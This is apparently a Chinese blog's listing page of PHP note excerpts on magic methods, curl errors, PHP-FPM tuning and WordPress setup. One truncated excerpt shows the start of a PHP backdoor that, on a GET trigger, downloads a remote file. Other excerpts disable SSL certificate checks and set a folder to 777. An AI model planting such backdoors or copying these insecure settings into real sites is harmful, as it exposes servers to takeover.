PHP魔术方法一览以及使用方法汇总 魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。魔术方法很多还是成对出现的,以下列出目前PHP中所有的模式方法。 __constuct构建对象的时被调用; __destruct明确销毁对象或脚本结束时被调用; __set当给不可访问或不存在属性赋 PHP笔记 友人a丶 2021-07-24 1105 热度 0评论
一段简单的PHP后门代码,什么都能干 这是最简单的、也是最容易发现的一种实现了,PHP后门种类繁多,真是防不胜防。 if($_GET=="ok"){ echo 'OK'; function downFile($url,$path){ $arr=parse_url($url); $fileName=basename($arr); $file=file_get_contents($url); } downFil PHP笔记 友人a丶 2021-07-22 1110 热度 0评论
编程日记:PHP实用函数记录 sleep(sec) 函数延迟执行当前脚本若干秒。 usleep(micro) — 以指定的微秒数延迟执行。 time_nanosleep(sec,na) — 延缓执行若干秒和纳秒。 time_sleep_until(timestamp) — 使脚本睡眠到指定的时间为止。 set_time_limit(int $seconds) — 设置允许脚本运行的时间,单位为秒。如果超过了此设置,脚本返回一个 PHP笔记 友人a丶 2021-07-20 1146 热度 0评论
实战记录—PHP使用curl出错时输出错误信息 踩过的坑,实在不想再踩了,记录记录。 curl_exec($ch);//执行curl if (curl_errno($ch)) { echo 'Curl error: ' . curl_error($ch);//出错输出错误 } curl_close($ch);//关闭curl 同理,像正则,Json,数据库这些出错时基本都会有提供有帮助的错误信息 CURL状态码列表 状态码 状态原因 解释 0 PHP笔记 友人a丶 2021-07-18 1071 热度 0评论
完美解决PHP使用curl返回空白 这个问题遇到好几次了,自己不长记性一直没记住,每次遇到了才想起来。 curl一切正常,就是返回数据时什么都没有,空白,解决思路: 检查是否是数据源的问题,使用HTTP工具请求一次,对方正常,我这也没被禁止访问。 那就是SSL的问题了,如下 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//禁止 cURL 验证对等证书 curl_setopt PHP笔记 友人a丶 2021-07-15 1075 热度 0评论
Thinkphp6学习笔记,持续记录 由此开始:https://www.kancloud.cn/manual/thinkphp6_0/1037479 目录结构:https://www.kancloud.cn/manual/thinkphp6_0/1037483 伪静态设置:https://www.kancloud.cn/manual/thinkphp6_0/1037488 Thinkphp网址导航:http://sites.think PHP笔记 友人a丶 2019-01-16 1300 热度 0评论
PHP-FPM性能优化配置方法参考 pm、pm.max_children、pm.start_servers、pm.min_spare_servers、pm.max_spare_servers。 pm:表示使用那种方式,有两个值可以选择,就是static(静态)或者dynamic(动态)。 在更老一些的版本中,dynamic被称作apache-like。这个要注意看配置文件的说明。 下面5个参数的意思分别为: pm = dynamic PHP笔记 友人a丶 2017-03-19 1128 热度 0评论
彻底解决wordpress安装主题或插件需要FTP问题 使用FTP或者SFTP软件(推荐xftp5)连接网站文件目录,进入wp-content目录,新建tmp文件夹,设置文件夹的权限为777 下载:在FTP中打开网站根目录,找到wp-config.php这个PHP文件,下载到本地 修改:在wp-config.php中添加下列代码: /* WordPress的临时目录。*/ define('WP_TEMP_DIR', ABSPATH.'wp-conten Wordpress 友人a丶 2016-12-24 1386 热度 0评论